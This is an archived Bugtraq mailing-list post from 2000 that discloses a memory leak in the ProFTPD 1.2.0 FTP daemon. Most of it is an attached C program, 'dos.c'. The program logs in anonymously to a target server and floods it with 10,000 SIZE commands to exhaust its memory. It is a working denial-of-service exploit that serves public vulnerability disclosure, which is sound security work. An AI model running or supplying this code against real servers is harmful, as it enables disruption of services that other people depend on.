[18248] in bugtraq
ProFTPD 1.2.0 Memory leakage - denial of service
daemon@ATHENA.MIT.EDU (Piotr Zurawski)
Wed Dec 20 20:38:02 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="zYM0uCDKw75PZbzx"
Content-Disposition: inline
Message-ID:  <20001220163854.A15670@ix.renet.pl>
Date:         Wed, 20 Dec 2000 16:38:54 +0100
Reply-To: Piotr Zurawski <szur@IX.RENET.PL>
From: Piotr Zurawski <szur@IX.RENET.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
  This is sample code to demonstrate effects of memory leak in
ProFTPD daemon. As far as I know all available versions up to date
(19.12.2000) are vulnerable to this.
  This bug is not dangerous, if you run one instance of included code.
But wonder, what will happen, if someone will run about 20 sessions...
Wojciech Purczynski reported, that memory leak exists also, when other
FTP commands are invoked (eg. STAT).
  Of course daemon will consume only as much, as it's defined in limits
of the user, daemon runs as. If you use setrlimit()in source, pam, or
ulimit before you start the daemon, this probably won't hurt so much.
--
Piotr Zurawski [fb]
szur@ix.renet.pl
--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="dos.c"
/* Proftpd DoS
 * by Piotr Zurawski (szur@ix.renet.pl)
 * This source is just an example of memory leakage in proftpd-1.2.0(rc2)
 * server discovered by Wojciech Purczynski.
 */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#define USERNAME "anonymous"
#define PASSWORD "dupa@dupa.pl"
#define HOWMANY 10000
void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);
int main(int argc, char **argv)
{
if (!resolve(argv[1],&host))
     {
	fprintf(stderr,"Hostname lookup failure\n");
	exit(0);
     }
fd=tcp_connect(host,port);
logintoftp(fd);
printf("Logged\n");
sendsizes(fd);
printf("Now check out memory usage of proftpd daemon");
printf("Resident set size (RSS) and virtual memory size (VSIZE)");
printf("fields in ps output");
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
	printf("Logging " USERNAME  "/"  PASSWORD "\r\n");
	
	memset(snd, '\0', 1024);
	sprintf(snd, "USER %s\r\n", USERNAME);
	write(fd, snd, strlen(snd));
	while((n=read(fd, rcv, sizeof(rcv))) > 0)
	{
	rcv[n] = 0;
	if(strchr(rcv, '\n') != NULL)break;
	}
	memset(snd, '\0', 1024);
	sprintf(snd, "PASS %s\r\n", PASSWORD);
	write(fd, snd, strlen(snd));
	while((n=read(fd, rcv, sizeof(rcv))) > 0)
	{
		rcv[n] = 0;
		if(strchr(rcv, '\n') != NULL)
			break;
	}
        return;
}
void sendsizes()
{
char snd[1024], rcv[1024];
unsigned long loop;
	printf ("Sending %i size commands... \n", HOWMANY);
	for(loop=0;loop<HOWMANY;loop++)
	{
	sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha");
	write(fd, snd, strlen(snd));
	}
        return;
}
int tcp_connect(struct in_addr addr,unsigned short port)
{
int fd;
	struct sockaddr_in serv;
	bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
	serv.sin_port=htons(port);
	serv.sin_family=AF_INET;
	if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\
	{
		perror("socket");
		exit(0);
	}
	if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
	{
	  perror("connect");
	  exit(0);
	}
	return(fd);
}
int resolve(char *hostname,struct in_addr *addr)
{
	struct hostent *res;
	res=gethostbyname(hostname);
	if (res==NULL)
		return(0);
	memcpy((char *)addr,res->h_addr,res->h_length);
	return(1);
}
--zYM0uCDKw75PZbzx--